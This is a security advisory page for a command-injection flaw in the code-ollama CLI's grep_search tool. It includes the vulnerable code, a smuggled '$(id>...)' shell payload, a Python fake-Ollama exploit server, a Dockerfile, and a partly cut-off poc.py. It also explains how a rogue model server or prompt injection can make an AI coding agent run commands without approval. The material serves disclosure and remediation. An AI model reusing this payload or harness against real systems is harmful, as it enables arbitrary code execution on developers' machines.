Skip to content
Fencer Intel
high 7.8

GHSA-456v-xq2p-r4cj json

code-ollama: `grep_search` Command Injection via Unescaped `$()` Shell Substitution (CWE-78)

published last mo. modified last mo.

cvss
7.8
version 3.1, GitHub
cisa kev
Not listed
not in CISA's catalog
epss
—
no score, EPSS covers CVEs only
public exploits
0
none known

Summary

## `grep_search` Command Injection via Unescaped `$()` Shell Substitution (CWE-78)

### Summary

The `grep_search` tool in `code-ollama` constructs a shell command string by interpolating attacker-controlled `pattern` and `path` arguments, then executes it via `child_process.exec()`. The sanitization only escapes backslashes and double-quote characters, leaving `$()` command substitution and backtick expansion fully intact. A malicious or compromised Ollama server can therefore inject and execute arbitrary OS commands with the privileges of the local user running `code-ollama`. Because `grep_search` is classified as a read-only tool, it auto-executes in Plan mode without any user approval prompt, making this a no-interaction-required exploitation path. Severity is **High (CVSS 7.8)**.

### Details

**Vulnerable sink — `src/utils/tools/filesystem/grep.ts:58-66`**

```ts const escapedPattern = searchPattern .replace(/\\/g, '\\\\') .replace(/"/g, '\\"'); const escapedDirPath = dirPath.replace(/\\/g, '\\\\').replace(/"/g, '\\"');

const { stdout } = await execShell( `rg --line-number --no-heading --smart-case "${escapedPattern}" "${escapedDirPath}"`, ); ```

Only `\` and `"` are neutralized. The shell metacharacter sequence `$()` (and backtick-style `` ` `` substitution) is passed through unmodified. The resulting string is passed to `execShell()` (`src/utils/tools/shell.ts:46-49`), which calls `exec` — the promisified `child_process.exec` defined at `src/utils/node.ts:1-4` — causing `/bin/sh` to interpret the entire string and expand any embedded command substitution.

**Full data-flow path (source → sink)**

| Step | Location | Action | |------|----------|--------| | 1 | `src/utils/ollama.ts:102-103` | External Ollama chat stream delivers `chunk.message.tool_calls` to the CLI | | 2 | `src/cli.ts:147-148` | Each `toolCall` is forwarded to `tools.executeToolCall()` | | 3 | `src/utils/tools/dispatcher.ts:300-306` | Dispatcher normalizes the call and routes it | | 4 | `src/utils/tools/dispatcher.ts:392-393` | `stringArgs.pattern` and `stringArgs.path` are passed verbatim to `grepSearch()` | | 5 | `src/utils/tools/filesystem/grep.ts:58-63` | Incomplete sanitization: only `\` and `"` are escaped (**root cause**) | | 6 | `src/utils/tools/filesystem/grep.ts:65` | Shell command string assembled and handed to `execShell()` (**sink**) | | 7 | `src/utils/tools/shell.ts:46-49` → `src/utils/node.ts:1-4` | `exec()` (`child_process.exec`) executes the string via `/bin/sh` |

**Approval-bypass amplifier**

`grep_search` is listed in `READ_TOOL_NAMES` at `src/constants/tool.ts:14-20` and is exposed in Plan mode at `src/utils/tools/definitions.ts:225-228`. Read-only tools execute automatically without presenting an approval prompt to the user, so exploitation requires zero user interaction beyond the initial `code-ollama run` invocation.

### PoC

**Prerequisites**

- `code-ollama` v0.36.0 installed (e.g., `npm install --global code-ollama@0.36.0` or built from source via the Dockerfile below). - `ripgrep` (`rg`) available in `PATH` (the vulnerable code path requires it). - Python 3 available to run the fake Ollama server.

**Step 1 — Build the self-contained Docker image (recommended)**

```sh # From the report root directory (where vuln-001/ lives) docker build -t vuln001-code-ollama -f vuln-001/Dockerfile . docker run --rm vuln001-code-ollama ```

The container automatically runs `poc.py` as `CMD`. Successful exploitation prints:

``` [+] EXPLOITATION CONFIRMED [+] Marker file : /tmp/poc-evidence [+] Contents : 'uid=0(root) gid=0(root) groups=0(root)' ```

**Step 2 — Manual reproduction (bare-metal)**

```sh # Terminal 1 — start the malicious Ollama server cat > /tmp/fake-ollama.py <<'PY' from http.server import BaseHTTPRequestHandler, HTTPServer import json, sys, threading

_req = 0 _lock = threading.Lock()

class H(BaseHTTPRequestHandler): def log_message(self, *a): pass def do_GET(self): self.send_response(200); self.end_headers() self.wfile.write(b"Ollama is running") def do_POST(self): global _req l = int(self.headers.get("Content-Length", 0)) self.rfile.read(l) with _lock: _req += 1; n = _req self.send_response(200) self.send_header("Content-Type", "application/x-ndjson") self.end_headers() if n == 1: chunk = {"model":"fake","message":{"role":"assistant","content":"", "tool_calls":[{"function":{"name":"grep_search", "arguments":{"pattern":"$(id>/tmp/poc-evidence)","path":"/tmp"}}}]}, "done":True,"done_reason":"stop"} else: chunk = {"model":"fake","message":{"role":"assistant","content":"Done."}, "done":True,"done_reason":"stop"} self.wfile.write((json.dumps(chunk)+"\n").encode()) self.wfile.flush()

HTTPServer(("127.0.0.1", 11434), H).serve_forever() PY python3 /tmp/fake-ollama.py &

# Terminal 2 — run code-ollama against the fake server rm -f /tmp/poc-evidence OLLAMA_HOST=http://127.0.0.1:11434 code-ollama run --trust fake "search the code" cat /tmp/poc-evidence # expected: uid=... gid=... groups=... ```

**Explanation of the payload**

The `pattern` argument value `$(id>/tmp/poc-evidence)` survives the sanitization in `grep.ts:58-63` because only `\` and `"` are stripped. When the resulting shell string

``` rg --line-number --no-heading --smart-case "$(id>/tmp/poc-evidence)" "/tmp" ```

is executed by `/bin/sh` via `child_process.exec`, the shell expands `$()` first, running `id` and writing its output to `/tmp/poc-evidence` before `rg` ever starts.

**Remediation**

Replace the shell-string construction with an argument-vector call to avoid the shell entirely:

```diff -import { execShell } from '../shell'; +import { execFile } from '../../node'; + +const RG_EXEC_OPTIONS = { timeout: 30_000, maxBuffer: 1024 * 1024 };

- const escapedPattern = searchPattern - .replace(/\\/g, '\\\\') - .replace(/"/g, '\\"'); - const escapedDirPath = dirPath - .replace(/\\/g, '\\\\') - .replace(/"/g, '\\"'); - - const { stdout } = await execShell( - `rg --line-number --no-heading --smart-case "${escapedPattern}" "${escapedDirPath}"`, - ); + const { stdout } = await execFile( + 'rg', + ['--line-number', '--no-heading', '--smart-case', '--', searchPattern, dirPath], + RG_EXEC_OPTIONS, + ); ```

### Impact

This is an **OS Command Injection** vulnerability (CWE-78). Any party that controls the Ollama server response — including a rogue model backend, a prompt-injection payload that manipulates the model into issuing a crafted `grep_search` tool call, or a network adversary performing a man-in-the-middle attack on an unencrypted `OLLAMA_HOST` connection — can execute arbitrary commands as the OS user running `code-ollama`.

Impact scope:

- **Confidentiality (High)** — attacker can read any file accessible to the user, exfiltrate source code, secrets, SSH keys, etc. - **Integrity (High)** — attacker can modify or delete files, plant backdoors, alter repository history. - **Availability (High)** — attacker can terminate processes, corrupt data, or consume system resources.

The approval-bypass via `READ_TOOL_NAMES` / Plan-mode auto-execution means the attack completes silently with no user interaction after `code-ollama run` is invoked. Developers, CI pipelines, and IDE-integrated users who run `code-ollama` in trusted directories are all at risk.

### Reproduction artifacts

#### `Dockerfile`

```dockerfile # VULN-001: grep_search Command Injection — CWE-78 # Target: ai-action/code-ollama v0.36.0 # Proof-of-concept Docker image: builds the repo and runs poc.py # # Build (from project root): # docker build -t vuln001-code-ollama -f vuln-001/Dockerfile . # Run: # docker run --rm vuln001-code-ollama

FROM node:24-slim

# ripgrep — required by grepSearch() in the vulnerable code path # python3 — runs poc.py orchestration script RUN apt-get update && apt-get install -y \ ripgrep \ python3 \ --no-install-recommends \ && rm -rf /var/lib/apt/lists/*

# ── Install Node dependencies ────────────────────────────────────────────────── WORKDIR /app COPY repo/package.json repo/package-lock.json ./ # Install ALL deps (devDeps needed for vite build / tsx fallback) RUN npm ci

# ── Copy source and build ────────────────────────────────────────────────────── COPY repo/ ./ # Produces /app/dist/cli.js — the bundled CLI entrypoint RUN npm run build

# ── Runtime setup ───────────────────────────────────────────────────────────── # code-ollama writes config to ~/.code-ollama; pre-create to avoid mkdir race RUN mkdir -p /root/.code-ollama /workspace

COPY vuln-001/poc.py /poc.py

WORKDIR /workspace CMD ["python3", "/poc.py"] ```

#### `poc.py`

```python #!/usr/bin/env python3 """ Proof of Concept: VULN-001 — grep_search Command Injection (CWE-78) Repository : ai-action/code-ollama v0.36.0 Sink : src/utils/tools/filesystem/grep.ts:65 execShell(`rg ... "${escapedPattern}" "${escapedDirPath}"`) Attack path: malicious Ollama server -> tool_call.arguments.pattern -> grepSearch() -> execShell() -> child_process.exec()

Only `\\` and `"` are escaped; `$()` command substitution is NOT neutralized. This PoC demonstrates that a rogue Ollama server can inject arbitrary shell commands that execute as the local user running code-ollama.

Usage (inside Docker, called automatically by CMD): python3 /poc.py

Expected outcome: /tmp/poc-evidence is created with content matching INJECTED_CMD output. """

import json import os import subprocess import sys import threading import time from http.server import BaseHTTPRequestHandler, HTTPServer

# --------------------------------------------------------------------------- # Configuration # --------------------------------------------------------------------------- FAKE_SERVER_HOST = "127.0.0.1" FAKE_SERVER_PORT = 11434

# The marker file written by the injected command — used as exploitation proof MARKER_FILE = "/tmp/poc-evidence"

# Payload: $() command substitution that is NOT escaped by code-ollama's # sanitization (only \\ and " are escaped, leaving $() intact). # Writes output of `id` to MARKER_FILE to capture the running UID/GID. INJECTED_CMD = f"$(id>{MARKER_FILE})"

# Path argument for grep_search (must be a valid non-empty string) TARGET_PATH = "/workspace"

# Tracks how many POST requests the fake server has received _request_count = 0 _request_lock = threading.Lock()

# --------------------------------------------------------------------------- # Fake Ollama HTTP server # ---------------------------------------------------------------------------

class FakeOllamaHandler(BaseHTTPRequestHandler): """Minimal Ollama-compatible HTTP server for the PoC.

First POST /api/chat -> returns a grep_search tool_call carrying the injected pattern. Subsequent POSTs -> return a plain done response to terminate the code-ollama tool-loop. """

def log_message(self, fmt, *args): # suppress default request logging pass

# ------------------------------------------------------------------ # GET — health-check (code-ollama / ollama-npm may call GET /) # ------------------------------------------------------------------ def do_GET(self): self.send_response(200) self.send_header("Content-Type", "text/plain") self.end_headers() self.wfile.write(b"Ollama is running")

# ------------------------------------------------------------------ # POST — chat streaming endpoint # ------------------------------------------------------------------ def do_POST(self): global _request_count

# Consume request body to avoid broken-pipe on the client side content_length = int(se…

Patch / fix

  • npm code-ollama 0.36.1

Is GHSA-456v-xq2p-r4cj in your dependencies? Fencer shows which of your repositories are affected as soon as an advisory lands, and opens the fix as a pull request.

Check with Fencer

CVSS scores

assigned by version score vector
GitHub 3.1 7.8 CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Affected packages

ecosystem package affected fixed in
npm code-ollama
<0.36.1
0.36.1

Classification

Weakness
  • CWE-78 Improper Neutralization of Special Elements used in an OS Command

References

Sources

Fencer Intel keeps one entry per vulnerability: the CVE id wins, then GHSA, and records that alias each other are merged, except that two CVEs always keep separate entries. The same data is available as JSON.